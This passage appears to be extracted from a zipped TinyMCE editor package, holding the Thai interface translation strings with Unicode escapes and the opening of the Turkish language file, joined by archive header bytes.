"\u0e2b\u0e31\u0e27\u0e40\u0e23\u0e37\u0e48\u0e2d\u0e07 1",
"Headings":
"\u0e2b\u0e31\u0e27\u0e40\u0e23\u0e37\u0e48\u0e2d\u0e07",
"Increase indent":
"\u0e40\u0e1e\u0e34\u0e48\u0e21\u0e01\u0e32\u0e23\u0e40\u0e22\u0e37\u0e49\u0e2d\u0e07",
"Formats": "\u0e23\u0e39\u0e1b\u0e41\u0e1a\u0e1a",
"Headers":
"\u0e2a\u0e48\u0e27\u0e19\u0e2b\u0e31\u0e27",
"Select all":
"\u0e40\u0e25\u0e37\u0e2d\u0e01\u0e17\u0e31\u0e49\u0e07\u0e2b\u0e21\u0e14",
"Header 3": "\u0e2a\u0e48\u0e27\u0e19\u0e2b\u0e31\u0e27
3",
"Blocks": "\u0e1a\u0e25\u0e47\u0e2d\u0e01",
"Undo": "\u0e40\u0e25\u0e34\u0e01\u0e17\u0e33",
"Strikethrough":
"\u0e02\u0e35\u0e14\u0e17\u0e31\u0e1a",
"Bullet list":
"\u0e23\u0e32\u0e22\u0e01\u0e32\u0e23\u0e2a\u0e31\u0e0d\u0e25\u0e31\u0e01\u0e29\u0e13\u0e4c\u0e2b\u0e31\u0e27\u0e02\u0e49\u0e2d\u0e22\u0e48\u0e2d\u0e22",
"Header 1": "\u0e2a\u0e48\u0e27\u0e19\u0e2b\u0e31\u0e27
1",
"Superscript": "\u0e15\u0e31\u0e27\u0e22\u0e01",
"Clear formatting":
"\u0e25\u0e49\u0e32\u0e07\u0e01\u0e32\u0e23\u0e08\u0e31\u0e14\u0e23\u0e39\u0e1b\u0e41\u0e1a\u0e1a",
"Font Sizes":
"\u0e02\u0e19\u0e32\u0e14\u0e41\u0e1a\u0e1a\u0e2d\u0e31\u0e01\u0e29\u0e23",
"Subscript":
"\u0e15\u0e31\u0e27\u0e2b\u0e49\u0e2d\u0e22",
"Header 6": "\u0e2a\u0e48\u0e27\u0e19\u0e2b\u0e31\u0e27
6",
"Redo": "\u0e17\u0e4d\u0e32\u0e0b\u0e49\u0e33",
"Paragraph":
"\u0e22\u0e48\u0e2d\u0e2b\u0e19\u0e49\u0e32",
"Ok": "\u0e15\u0e01\u0e25\u0e07",
"Bold": "\u0e15\u0e31\u0e27\u0e2b\u0e19\u0e32",
"Code": "\u0e42\u0e04\u0e49\u0e14",
"Italic":
"\u0e15\u0e31\u0e27\u0e40\u0e2d\u0e35\u0e22\u0e07",
"Align center":
"\u0e08\u0e31\u0e14\u0e01\u0e36\u0e48\u0e07\u0e01\u0e25\u0e32\u0e07",
"Header 5": "\u0e2a\u0e48\u0e27\u0e19\u0e2b\u0e31\u0e27
5",
"Heading 6":
"\u0e2b\u0e31\u0e27\u0e40\u0e23\u0e37\u0e48\u0e2d\u0e07 6",
"Heading 3":
"\u0e2b\u0e31\u0e27\u0e40\u0e23\u0e37\u0e48\u0e2d\u0e07 3",
"Decrease indent":
"\u0e25\u0e14\u0e01\u0e32\u0e23\u0e40\u0e22\u0e37\u0e49\u0e2d\u0e07",
"Header 4": "\u0e2a\u0e48\u0e27\u0e19\u0e2b\u0e31\u0e27
4",
"Paste is now in plain text mode. Contents will now be pasted as plain
text until you toggle this option off.":
"\u0e01\u0e32\u0e23\u0e27\u0e32\u0e07\u0e15\u0e2d\u0e19\u0e19\u0e35\u0e49\u0e2d\u0e22\u0e39\u0e48\u0e43\u0e19\u0e42\u0e2b\u0e21\u0e14\u0e02\u0e49\u0e2d\u0e04\u0e27\u0e32\u0e21\u0e18\u0e23\u0e23\u0e21\u0e14\u0e32
\u0e40\u0e19\u0e37\u0e49\u0e2d\u0e2b\u0e32\u0e08\u0e30\u0e16\u0e39\u0e01\u0e27\u0e32\u0e07\u0e40\u0e1b\u0e47\u0e19\u0e02\u0e49\u0e2d\u0e04\u0e27\u0e32\u0e21\u0e18\u0e23\u0e23\u0e21\u0e14\u0e32\u0e08\u0e19\u0e01\u0e27\u0e48\u0e32\u0e04\u0e38\u0e13\u0e08\u0e30\u0e1b\u0e34\u0e14\u0e15\u0e31\u0e27\u0e40\u0e25\u0e37\u0e2d\u0e01\u0e19\u0e35\u0e49",
"Underline":
"\u0e02\u0e35\u0e14\u0e40\u0e2a\u0e49\u0e19\u0e43\u0e15\u0e49",
"Cancel": "\u0e22\u0e01\u0e40\u0e25\u0e34\u0e01",
"Justify":
"\u0e40\u0e15\u0e47\u0e21\u0e41\u0e19\u0e27",
"Inline":
"\u0e41\u0e1a\u0e1a\u0e2d\u0e34\u0e19\u0e44\u0e25\u0e19\u0e4c",
"Copy": "\u0e04\u0e31\u0e14\u0e25\u0e2d\u0e01",
"Align left":
"\u0e08\u0e31\u0e14\u0e0a\u0e34\u0e14\u0e0b\u0e49\u0e32\u0e22",
"Visual aids":
"\u0e17\u0e31\u0e28\u0e19\u0e39\u0e1b\u0e01\u0e23\u0e13\u0e4c",
"Lower Greek":
"\u0e01\u0e23\u0e35\u0e01\u0e17\u0e35\u0e48\u0e15\u0e48\u0e33\u0e01\u0e27\u0e48\u0e32",
"Square": "\u0e08\u0e31\u0e15\u0e38\u0e23\u0e31\u0e2a",
"Default":
"\u0e04\u0e48\u0e32\u0e40\u0e23\u0e34\u0e48\u0e21\u0e15\u0e49\u0e19",
"Lower Alpha":
"\u0e2d\u0e31\u0e25\u0e1f\u0e32\u0e17\u0e35\u0e48\u0e15\u0e48\u0e33\u0e01\u0e27\u0e48\u0e32",
"Circle": "\u0e27\u0e07\u0e01\u0e25\u0e21",
"Disc": "\u0e14\u0e34\u0e2a\u0e01\u0e4c",
"Upper Alpha":
"\u0e2d\u0e31\u0e25\u0e1f\u0e32\u0e17\u0e35\u0e48\u0e2a\u0e39\u0e07\u0e01\u0e27\u0e48\u0e32",
"Upper Roman":
"\u0e42\u0e23\u0e21\u0e31\u0e19\u0e17\u0e35\u0e48\u0e2a\u0e39\u0e07\u0e01\u0e27\u0e48\u0e32",
"Lower Roman":
"\u0e42\u0e23\u0e21\u0e31\u0e19\u0e17\u0e35\u0e48\u0e15\u0e48\u0e33\u0e01\u0e27\u0e48\u0e32",
"Id should start with a letter, followed only by letters, numbers,
dashes, dots, colons or underscores.": "Id
\u0e04\u0e27\u0e23\u0e08\u0e30\u0e02\u0e36\u0e49\u0e19\u0e15\u0e49\u0e19\u0e14\u0e49\u0e27\u0e22\u0e15\u0e31\u0e27\u0e2d\u0e31\u0e01\u0e29\u0e23
\u0e15\u0e32\u0e21\u0e14\u0e49\u0e27\u0e22\u0e15\u0e31\u0e27\u0e2d\u0e31\u0e01\u0e29\u0e23
\u0e15\u0e31\u0e27\u0e40\u0e25\u0e02
\u0e02\u0e35\u0e14\u0e01\u0e25\u0e32\u0e07 \u0e08\u0e38\u0e14
\u0e2d\u0e31\u0e12\u0e20\u0e32\u0e04 \u0e2b\u0e23\u0e37\u0e2d
\u0e02\u0e35\u0e14\u0e25\u0e48\u0e32\u0e07",
"Name": "\u0e0a\u0e37\u0e48\u0e2d",
"Anchor": "\u0e08\u0e38\u0e14\u0e22\u0e36\u0e14",
"Id": "Id",
"You have unsaved changes are you sure you want to navigate
away?":
"\u0e04\u0e38\u0e13\u0e21\u0e35\u0e01\u0e32\u0e23\u0e40\u0e1b\u0e25\u0e35\u0e48\u0e22\u0e19\u0e41\u0e1b\u0e25\u0e07\u0e17\u0e35\u0e48\u0e44\u0e21\u0e48\u0e44\u0e14\u0e49\u0e1a\u0e31\u0e19\u0e17\u0e36\u0e01
\u0e04\u0e38\u0e13\u0e15\u0e49\u0e2d\u0e07\u0e01\u0e32\u0e23\u0e17\u0e35\u0e48\u0e08\u0e30\u0e2d\u0e2d\u0e01\u0e2b\u0e23\u0e37\u0e2d\u0e44\u0e21\u0e48?",
"Restore last draft":
"\u0e04\u0e37\u0e19\u0e04\u0e48\u0e32\u0e41\u0e1a\u0e1a\u0e23\u0e48\u0e32\u0e07\u0e25\u0e48\u0e32\u0e2a\u0e38\u0e14",
"Special character":
"\u0e2d\u0e31\u0e01\u0e02\u0e23\u0e30\u0e1e\u0e34\u0e40\u0e28\u0e29",
"Source code":
"\u0e42\u0e04\u0e49\u0e14\u0e15\u0e49\u0e19\u0e09\u0e1a\u0e31\u0e1a",
"Language": "\u0e20\u0e32\u0e29\u0e32",
"Insert\/Edit code sample":
"\u0e41\u0e17\u0e23\u0e01\/\u0e41\u0e01\u0e49\u0e44\u0e02\u0e15\u0e31\u0e27\u0e2d\u0e22\u0e48\u0e32\u0e07\u0e42\u0e04\u0e49\u0e14",
"B": "\u0e19\u0e49\u0e33\u0e40\u0e07\u0e34\u0e19",
"R": "\u0e41\u0e14\u0e07",
"G": "\u0e40\u0e02\u0e35\u0e22\u0e27",
"Color": "\u0e2a\u0e35",
"Right to left":
"\u0e02\u0e27\u0e32\u0e44\u0e1b\u0e0b\u0e49\u0e32\u0e22",
"Left to right":
"\u0e0b\u0e49\u0e32\u0e22\u0e44\u0e1b\u0e02\u0e27\u0e32",
"Emoticons":
"\u0e2d\u0e34\u0e42\u0e21\u0e15\u0e34\u0e04\u0e2d\u0e19",
"Robots":
"\u0e2b\u0e38\u0e48\u0e19\u0e22\u0e19\u0e15\u0e4c",
"Document properties":
"\u0e04\u0e38\u0e13\u0e2a\u0e21\u0e1a\u0e31\u0e15\u0e34\u0e02\u0e2d\u0e07\u0e40\u0e2d\u0e01\u0e2a\u0e32\u0e23",
"Title":
"\u0e0a\u0e37\u0e48\u0e2d\u0e40\u0e23\u0e37\u0e48\u0e2d\u0e07",
"Keywords":
"\u0e04\u0e33\u0e2a\u0e33\u0e04\u0e31\u0e0d",
"Encoding":
"\u0e01\u0e32\u0e23\u0e40\u0e02\u0e49\u0e32\u0e23\u0e2b\u0e31\u0e2a",
"Description":
"\u0e04\u0e33\u0e2d\u0e18\u0e34\u0e1a\u0e32\u0e22",
"Author":
"\u0e1c\u0e39\u0e49\u0e40\u0e02\u0e35\u0e22\u0e19",
"Fullscreen": "\u0e40\u0e15\u0e47\u0e21\u0e08\u0e2d",
"Horizontal line":
"\u0e40\u0e2a\u0e49\u0e19\u0e41\u0e19\u0e27\u0e19\u0e2d\u0e19",
"Horizontal space":
"\u0e0a\u0e48\u0e2d\u0e07\u0e27\u0e48\u0e32\u0e07\u0e41\u0e19\u0e27\u0e19\u0e2d\u0e19",
"Insert\/edit image":
"\u0e41\u0e17\u0e23\u0e01\/\u0e41\u0e01\u0e49\u0e44\u0e02\u0e23\u0e39\u0e1b",
"General": "\u0e17\u0e31\u0e48\u0e27\u0e44\u0e1b",
"Advanced":
"\u0e02\u0e31\u0e49\u0e19\u0e2a\u0e39\u0e07",
"Source":
"\u0e41\u0e2b\u0e25\u0e48\u0e07\u0e17\u0e35\u0e48\u0e21\u0e32",
"Border": "\u0e40\u0e2a\u0e49\u0e19\u0e02\u0e2d\u0e1a",
"Constrain proportions":
"\u0e08\u0e33\u0e01\u0e31\u0e14\u0e2a\u0e31\u0e14\u0e2a\u0e48\u0e27\u0e19",
"Vertical space":
"\u0e0a\u0e48\u0e2d\u0e07\u0e27\u0e48\u0e32\u0e07\u0e41\u0e19\u0e27\u0e15\u0e31\u0e49\u0e07",
"Image description":
"\u0e04\u0e33\u0e2d\u0e18\u0e34\u0e1a\u0e32\u0e22\u0e23\u0e39\u0e1b",
"Style": "\u0e23\u0e39\u0e1b\u0e41\u0e1a\u0e1a",
"Dimensions": "\u0e02\u0e19\u0e32\u0e14",
"Insert image":
"\u0e41\u0e17\u0e23\u0e01\u0e23\u0e39\u0e1b\u0e20\u0e32\u0e1e",
"Image": "\u0e23\u0e39\u0e1b\u0e20\u0e32\u0e1e",
"Zoom in":
"\u0e02\u0e22\u0e32\u0e22\u0e40\u0e02\u0e49\u0e32",
"Contrast":
"\u0e04\u0e27\u0e32\u0e21\u0e40\u0e1b\u0e23\u0e35\u0e22\u0e1a\u0e15\u0e48\u0e32\u0e07",
"Back": "\u0e01\u0e25\u0e31\u0e1a",
"Gamma": "\u0e41\u0e01\u0e21\u0e21\u0e32",
"Flip horizontally":
"\u0e1e\u0e25\u0e34\u0e01\u0e15\u0e32\u0e21\u0e41\u0e19\u0e27\u0e19\u0e2d\u0e19",
"Resize":
"\u0e1b\u0e23\u0e31\u0e1a\u0e02\u0e19\u0e32\u0e14",
"Sharpen": "\u0e04\u0e27\u0e32\u0e21\u0e04\u0e21",
"Zoom out": "\u0e22\u0e48\u0e2d\u0e2d\u0e2d\u0e01",
"Image options":
"\u0e15\u0e31\u0e27\u0e40\u0e25\u0e37\u0e2d\u0e01\u0e23\u0e39\u0e1b\u0e20\u0e32\u0e1e",
"Apply": "\u0e19\u0e33\u0e44\u0e1b\u0e43\u0e0a\u0e49",
"Brightness":
"\u0e04\u0e27\u0e32\u0e21\u0e2a\u0e27\u0e48\u0e32\u0e07",
"Rotate clockwise":
"\u0e2b\u0e21\u0e38\u0e19\u0e15\u0e32\u0e21\u0e40\u0e02\u0e47\u0e21\u0e19\u0e32\u0e2c\u0e34\u0e01\u0e32",
"Rotate counterclockwise":
"\u0e2b\u0e21\u0e38\u0e19\u0e17\u0e27\u0e19\u0e40\u0e02\u0e47\u0e21\u0e19\u0e32\u0e2c\u0e34\u0e01\u0e32",
"Edit image":
"\u0e41\u0e01\u0e49\u0e44\u0e02\u0e23\u0e39\u0e1b",
"Color levels":
"\u0e23\u0e30\u0e14\u0e31\u0e1a\u0e2a\u0e35",
"Crop": "\u0e04\u0e23\u0e2d\u0e1b\u0e15\u0e31\u0e14",
"Orientation":
"\u0e01\u0e32\u0e23\u0e08\u0e31\u0e14\u0e27\u0e32\u0e07",
"Flip vertically":
"\u0e1e\u0e25\u0e34\u0e01\u0e15\u0e32\u0e21\u0e41\u0e19\u0e27\u0e15\u0e31\u0e49\u0e07",
"Invert":
"\u0e22\u0e49\u0e2d\u0e19\u0e01\u0e25\u0e31\u0e1a",
"Date\/time":
"\u0e27\u0e31\u0e19\u0e17\u0e35\u0e48\/\u0e40\u0e27\u0e25\u0e32",
"Insert date\/time":
"\u0e41\u0e17\u0e23\u0e01\u0e27\u0e31\u0e19\u0e17\u0e35\u0e48\/\u0e40\u0e27\u0e25\u0e32",
"Remove link":
"\u0e40\u0e2d\u0e32\u0e25\u0e34\u0e07\u0e01\u0e4c\u0e2d\u0e2d\u0e01",
"Url": "URL",
"Text to display":
"\u0e02\u0e49\u0e2d\u0e04\u0e27\u0e32\u0e21\u0e17\u0e35\u0e48\u0e08\u0e30\u0e41\u0e2a\u0e14\u0e07",
"Anchors": "\u0e08\u0e38\u0e14\u0e22\u0e36\u0e14",
"Insert link":
"\u0e41\u0e17\u0e23\u0e01\u0e25\u0e34\u0e07\u0e01\u0e4c",
"Link": "\u0e25\u0e34\u0e07\u0e01\u0e4c",
"New window":
"\u0e40\u0e1b\u0e34\u0e14\u0e2b\u0e19\u0e49\u0e32\u0e15\u0e48\u0e32\u0e07\u0e43\u0e2b\u0e21\u0e48",
"None": "\u0e44\u0e21\u0e48\u0e21\u0e35",
"The URL you entered seems to be an external link. Do you want to add
the required http:\/\/ prefix?": "URL
\u0e17\u0e35\u0e48\u0e04\u0e38\u0e13\u0e23\u0e30\u0e1a\u0e38\u0e14\u0e39\u0e40\u0e2b\u0e21\u0e37\u0e2d\u0e19\u0e27\u0e48\u0e32\u0e40\u0e1b\u0e47\u0e19\u0e25\u0e34\u0e07\u0e01\u0e4c\u0e20\u0e32\u0e22\u0e19\u0e2d\u0e01
\u0e04\u0e38\u0e13\u0e15\u0e49\u0e2d\u0e07\u0e01\u0e32\u0e23\u0e43\u0e2a\u0e48
http:\/\/
\u0e19\u0e33\u0e2b\u0e19\u0e49\u0e32\u0e2b\u0e23\u0e37\u0e2d\u0e44\u0e21\u0e48",
"Paste or type a link":
"\u0e27\u0e32\u0e07\u0e2b\u0e23\u0e37\u0e2d\u0e1b\u0e49\u0e2d\u0e19\u0e25\u0e34\u0e07\u0e01\u0e4c",
"Target":
"\u0e40\u0e1b\u0e49\u0e32\u0e2b\u0e21\u0e32\u0e22",
"The URL you entered seems to be an email address. Do you want to add
the required mailto: prefix?": "URL
\u0e17\u0e35\u0e48\u0e04\u0e38\u0e13\u0e23\u0e30\u0e1a\u0e38\u0e14\u0e39\u0e40\u0e2b\u0e21\u0e37\u0e2d\u0e19\u0e27\u0e48\u0e32\u0e40\u0e1b\u0e47\u0e19\u0e2d\u0e35\u0e40\u0e21\u0e25\u0e41\u0e2d\u0e14\u0e40\u0e14\u0e23\u0e2a
\u0e04\u0e38\u0e13\u0e15\u0e49\u0e2d\u0e07\u0e01\u0e32\u0e23\u0e43\u0e2a\u0e48
mailto:
\u0e19\u0e33\u0e2b\u0e19\u0e49\u0e32\u0e2b\u0e23\u0e37\u0e2d\u0e44\u0e21\u0e48",
"Insert\/edit link":
"\u0e41\u0e17\u0e23\u0e01\/\u0e41\u0e01\u0e49\u0e44\u0e02\u0e25\u0e34\u0e07\u0e01\u0e4c",
"Insert\/edit video":
"\u0e41\u0e17\u0e23\u0e01\/\u0e41\u0e01\u0e49\u0e44\u0e02\u0e27\u0e34\u0e14\u0e35\u0e42\u0e2d",
"Media": "\u0e2a\u0e37\u0e48\u0e2d",
"Alternative source":
"\u0e41\u0e2b\u0e25\u0e48\u0e07\u0e17\u0e35\u0e48\u0e21\u0e32\u0e2a\u0e33\u0e23\u0e2d\u0e07",
"Paste your embed code below:":
"\u0e27\u0e32\u0e07\u0e42\u0e04\u0e49\u0e14\u0e1d\u0e31\u0e07\u0e15\u0e31\u0e27\u0e02\u0e2d\u0e07\u0e04\u0e38\u0e13\u0e14\u0e49\u0e32\u0e19\u0e25\u0e48\u0e32\u0e07:",
"Insert video":
"\u0e41\u0e17\u0e23\u0e01\u0e27\u0e34\u0e14\u0e35\u0e42\u0e2d",
"Poster":
"\u0e42\u0e1b\u0e2a\u0e40\u0e15\u0e2d\u0e23\u0e4c",
"Insert\/edit media":
"\u0e41\u0e17\u0e23\u0e01\/\u0e41\u0e01\u0e49\u0e44\u0e02\u0e2a\u0e37\u0e48\u0e2d",
"Embed": "\u0e1d\u0e31\u0e07",
"Nonbreaking space":
"\u0e0a\u0e48\u0e2d\u0e07\u0e27\u0e48\u0e32\u0e07\u0e44\u0e21\u0e48\u0e41\u0e22\u0e01",
"Page break":
"\u0e15\u0e31\u0e27\u0e41\u0e1a\u0e48\u0e07\u0e2b\u0e19\u0e49\u0e32",
"Paste as text":
"\u0e27\u0e32\u0e07\u0e40\u0e1b\u0e47\u0e19\u0e02\u0e49\u0e2d\u0e04\u0e27\u0e32\u0e21",
"Preview":
"\u0e41\u0e2a\u0e14\u0e07\u0e15\u0e31\u0e27\u0e2d\u0e22\u0e48\u0e32\u0e07",
"Print": "\u0e1e\u0e34\u0e21\u0e1e\u0e4c",
"Save": "\u0e1a\u0e31\u0e19\u0e17\u0e36\u0e01",
"Could not find the specified string.":
"\u0e44\u0e21\u0e48\u0e1e\u0e1a\u0e2a\u0e15\u0e23\u0e34\u0e07\u0e17\u0e35\u0e48\u0e23\u0e30\u0e1a\u0e38",
"Replace": "\u0e41\u0e17\u0e19\u0e17\u0e35\u0e48",
"Next": "\u0e16\u0e31\u0e14\u0e44\u0e1b",
"Whole words": "\u0e17\u0e31\u0e49\u0e07\u0e04\u0e33",
"Find and replace":
"\u0e04\u0e49\u0e19\u0e2b\u0e32\u0e41\u0e25\u0e30\u0e41\u0e17\u0e19\u0e17\u0e35\u0e48",
"Replace with":
"\u0e41\u0e17\u0e19\u0e17\u0e35\u0e48\u0e14\u0e49\u0e27\u0e22",
"Find": "\u0e04\u0e49\u0e19\u0e2b\u0e32",
"Replace all":
"\u0e41\u0e17\u0e19\u0e17\u0e35\u0e48\u0e17\u0e31\u0e49\u0e07\u0e2b\u0e21\u0e14",
"Match case":
"\u0e15\u0e23\u0e07\u0e15\u0e32\u0e21\u0e15\u0e31\u0e27\u0e1e\u0e34\u0e21\u0e1e\u0e4c\u0e43\u0e2b\u0e0d\u0e48-\u0e40\u0e25\u0e47\u0e01",
"Prev":
"\u0e01\u0e48\u0e2d\u0e19\u0e2b\u0e19\u0e49\u0e32",
"Spellcheck":
"\u0e15\u0e23\u0e27\u0e08\u0e01\u0e32\u0e23\u0e2a\u0e30\u0e01\u0e14",
"Finish":
"\u0e40\u0e2a\u0e23\u0e47\u0e08\u0e2a\u0e34\u0e49\u0e19",
"Ignore all":
"\u0e25\u0e30\u0e40\u0e27\u0e49\u0e19\u0e17\u0e31\u0e49\u0e07\u0e2b\u0e21\u0e14",
"Ignore": "\u0e25\u0e30\u0e40\u0e27\u0e49\u0e19",
"Add to Dictionary":
"\u0e40\u0e1e\u0e34\u0e48\u0e21\u0e43\u0e19\u0e1e\u0e08\u0e19\u0e32\u0e19\u0e38\u0e01\u0e23\u0e21",
"Insert row before":
"\u0e41\u0e17\u0e23\u0e01\u0e41\u0e16\u0e27\u0e14\u0e49\u0e32\u0e19\u0e1a\u0e19",
"Rows": "\u0e41\u0e16\u0e27",
"Height": "\u0e04\u0e27\u0e32\u0e21\u0e2a\u0e39\u0e07",
"Paste row after":
"\u0e27\u0e32\u0e07\u0e41\u0e16\u0e27\u0e14\u0e49\u0e32\u0e19\u0e25\u0e48\u0e32\u0e07",
"Alignment":
"\u0e01\u0e32\u0e23\u0e08\u0e31\u0e14\u0e41\u0e19\u0e27",
"Border color": "\u0e2a\u0e35\u0e02\u0e2d\u0e1a",
"Column group":
"\u0e01\u0e25\u0e38\u0e48\u0e21\u0e04\u0e2d\u0e25\u0e31\u0e21\u0e19\u0e4c",
"Row": "\u0e41\u0e16\u0e27",
"Insert column before":
"\u0e41\u0e17\u0e23\u0e01\u0e04\u0e2d\u0e25\u0e31\u0e21\u0e19\u0e4c\u0e02\u0e49\u0e32\u0e07\u0e2b\u0e19\u0e49\u0e32",
"Split cell":
"\u0e41\u0e22\u0e01\u0e40\u0e0b\u0e25\u0e25\u0e4c",
"Cell padding":
"\u0e0a\u0e48\u0e2d\u0e07\u0e27\u0e48\u0e32\u0e07\u0e20\u0e32\u0e22\u0e43\u0e19\u0e40\u0e0b\u0e25\u0e25\u0e4c",
"Cell spacing":
"\u0e0a\u0e48\u0e2d\u0e07\u0e27\u0e48\u0e32\u0e07\u0e23\u0e30\u0e2b\u0e27\u0e48\u0e32\u0e07\u0e40\u0e0b\u0e25\u0e25\u0e4c",
"Row type":
"\u0e0a\u0e19\u0e34\u0e14\u0e02\u0e2d\u0e07\u0e41\u0e16\u0e27",
"Insert table":
"\u0e41\u0e17\u0e23\u0e01\u0e15\u0e32\u0e23\u0e32\u0e07",
"Body":
"\u0e40\u0e19\u0e37\u0e49\u0e2d\u0e04\u0e27\u0e32\u0e21",
"Caption":
"\u0e1b\u0e49\u0e32\u0e22\u0e04\u0e33\u0e2d\u0e18\u0e34\u0e1a\u0e32\u0e22",
"Footer":
"\u0e2a\u0e48\u0e27\u0e19\u0e17\u0e49\u0e32\u0e22",
"Delete row": "\u0e25\u0e1a\u0e41\u0e16\u0e27",
"Paste row before":
"\u0e27\u0e32\u0e07\u0e41\u0e16\u0e27\u0e14\u0e49\u0e32\u0e19\u0e1a\u0e19",
"Scope": "\u0e02\u0e2d\u0e1a\u0e40\u0e02\u0e15",
"Delete table":
"\u0e25\u0e1a\u0e15\u0e32\u0e23\u0e32\u0e07",
"H Align":
"\u0e01\u0e32\u0e23\u0e40\u0e23\u0e35\u0e22\u0e07\u0e43\u0e19\u0e41\u0e19\u0e27\u0e19\u0e2d\u0e19",
"Top": "\u0e1a\u0e19",
"Header cell":
"\u0e40\u0e0b\u0e25\u0e25\u0e4c\u0e2a\u0e48\u0e27\u0e19\u0e2b\u0e31\u0e27",
"Column": "\u0e04\u0e2d\u0e25\u0e31\u0e21\u0e19\u0e4c",
"Row group":
"\u0e01\u0e25\u0e38\u0e48\u0e21\u0e41\u0e16\u0e27",
"Cell": "\u0e40\u0e0b\u0e25\u0e25\u0e4c",
"Middle": "\u0e01\u0e25\u0e32\u0e07",
"Cell type":
"\u0e0a\u0e19\u0e34\u0e14\u0e02\u0e2d\u0e07\u0e40\u0e0b\u0e25\u0e25\u0e4c",
"Copy row":
"\u0e04\u0e31\u0e14\u0e25\u0e2d\u0e01\u0e41\u0e16\u0e27",
"Row properties":
"\u0e04\u0e38\u0e13\u0e2a\u0e21\u0e1a\u0e31\u0e15\u0e34\u0e02\u0e2d\u0e07\u0e41\u0e16\u0e27",
"Table properties":
"\u0e04\u0e38\u0e13\u0e2a\u0e21\u0e1a\u0e31\u0e15\u0e34\u0e02\u0e2d\u0e07\u0e15\u0e32\u0e23\u0e32\u0e07",
"Bottom": "\u0e25\u0e48\u0e32\u0e07",
"V Align":
"\u0e01\u0e32\u0e23\u0e40\u0e23\u0e35\u0e22\u0e07\u0e43\u0e19\u0e41\u0e19\u0e27\u0e15\u0e31\u0e49\u0e07",
"Header": "\u0e2a\u0e48\u0e27\u0e19\u0e2b\u0e31\u0e27",
"Right": "\u0e02\u0e27\u0e32",
"Insert column after":
"\u0e41\u0e17\u0e23\u0e01\u0e04\u0e2d\u0e25\u0e31\u0e21\u0e19\u0e4c\u0e02\u0e49\u0e32\u0e07\u0e2b\u0e25\u0e31\u0e07",
"Cols": "\u0e04\u0e2d\u0e25\u0e31\u0e21\u0e19\u0e4c",
"Insert row after":
"\u0e41\u0e17\u0e23\u0e01\u0e41\u0e16\u0e27\u0e14\u0e49\u0e32\u0e19\u0e25\u0e48\u0e32\u0e07",
"Width":
"\u0e04\u0e27\u0e32\u0e21\u0e01\u0e27\u0e49\u0e32\u0e07",
"Cell properties":
"\u0e04\u0e38\u0e13\u0e2a\u0e21\u0e1a\u0e31\u0e15\u0e34\u0e02\u0e2d\u0e07\u0e40\u0e0b\u0e25\u0e25\u0e4c",
"Left": "\u0e0b\u0e49\u0e32\u0e22",
"Cut row": "\u0e15\u0e31\u0e14\u0e41\u0e16\u0e27",
"Delete column":
"\u0e25\u0e1a\u0e04\u0e2d\u0e25\u0e31\u0e21\u0e19\u0e4c",
"Center":
"\u0e01\u0e36\u0e48\u0e07\u0e01\u0e25\u0e32\u0e07",
"Merge cells":
"\u0e1c\u0e2a\u0e32\u0e19\u0e40\u0e0b\u0e25\u0e25\u0e4c",
"Insert template":
"\u0e41\u0e17\u0e23\u0e01\u0e41\u0e21\u0e48\u0e41\u0e1a\u0e1a",
"Templates": "\u0e41\u0e21\u0e48\u0e41\u0e1a\u0e1a",
"Background color":
"\u0e2a\u0e35\u0e1e\u0e37\u0e49\u0e19\u0e2b\u0e25\u0e31\u0e07",
"Custom...":
"\u0e01\u0e33\u0e2b\u0e19\u0e14\u0e40\u0e2d\u0e07",
"Custom color":
"\u0e2a\u0e35\u0e17\u0e35\u0e48\u0e01\u0e33\u0e2b\u0e19\u0e14\u0e40\u0e2d\u0e07",
"No color":
"\u0e44\u0e21\u0e48\u0e21\u0e35\u0e2a\u0e35",
"Text color":
"\u0e2a\u0e35\u0e02\u0e49\u0e2d\u0e04\u0e27\u0e32\u0e21",
"Table of Contents":
"\u0e2a\u0e32\u0e23\u0e1a\u0e31\u0e0d",
"Show blocks":
"\u0e41\u0e2a\u0e14\u0e07\u0e1a\u0e25\u0e47\u0e2d\u0e01",
"Show invisible characters":
"\u0e41\u0e2a\u0e14\u0e07\u0e15\u0e31\u0e27\u0e2d\u0e31\u0e01\u0e29\u0e23\u0e17\u0e35\u0e48\u0e21\u0e2d\u0e07\u0e44\u0e21\u0e48\u0e40\u0e2b\u0e47\u0e19",
"Words: {0}": "\u0e04\u0e33: {0}",
"Insert": "\u0e41\u0e17\u0e23\u0e01",
"File": "\u0e44\u0e1f\u0e25\u0e4c",
"Edit": "\u0e41\u0e01\u0e49\u0e44\u0e02",
"Rich Text Area. Press ALT-F9 for menu. Press ALT-F10 for toolbar.
Press ALT-0 for help":
"\u0e1e\u0e37\u0e49\u0e19\u0e17\u0e35\u0e48 Rich Text \u0e01\u0e14
ALT-F9 \u0e2a\u0e33\u0e2b\u0e23\u0e31\u0e1a\u0e40\u0e21\u0e19\u0e39
\u0e01\u0e14 ALT-F10
\u0e2a\u0e33\u0e2b\u0e23\u0e31\u0e1a\u0e41\u0e16\u0e1a\u0e40\u0e04\u0e23\u0e37\u0e48\u0e2d\u0e07\u0e21\u0e37\u0e2d
\u0e01\u0e14 ALT-0
\u0e2a\u0e33\u0e2b\u0e23\u0e31\u0e1a\u0e04\u0e27\u0e32\u0e21\u0e0a\u0e48\u0e27\u0e22\u0e40\u0e2b\u0e25\u0e37\u0e2d",
"Tools":
"\u0e40\u0e04\u0e23\u0e37\u0e48\u0e2d\u0e07\u0e21\u0e37\u0e2d",
"View": "\u0e21\u0e38\u0e21\u0e21\u0e2d\u0e07",
"Table": "\u0e15\u0e32\u0e23\u0e32\u0e07",
"Format": "\u0e23\u0e39\u0e1b\u0e41\u0e1a\u0e1a"
});PKR��[QK	";;tinymce/langs/tr.jsnu�[���tinymce.addI18n('tr',{
"Cut": "Kes",
"Header 2": "Ba\u015fl\u0131k 2",
"Your browser doesn't support direct access to the clipboard.
Please use the Ctrl+X\/C\/V keyboard shortcuts instead.":
"Taray\u0131c\u0131n\u0131z panoya direk eri\u015fimi desteklemiyor.
L\u00fctfen Ctrl+X\/C\/V klavye k\u0131sayollar\u0131n\u0131
kullan\u0131n.",
"Div": "Div",
"Paste": "Yap\u0131\u015ft\u0131r",
"Close": "Kapat",
"Font Family": "Yaz\u0131tipi Ailesi",
"Pre": "\u00d6n",
"Align right": "Sa\u011fa hizala",
"New document": "Yeni dok\u00fcman",
"Blockquote": "Al\u0131nt\u0131",
"Numbered list": "S\u0131ral\u0131 liste",
"Increase indent": "Girintiyi art\u0131r",
"Formats": "Bi\u00e7imler",
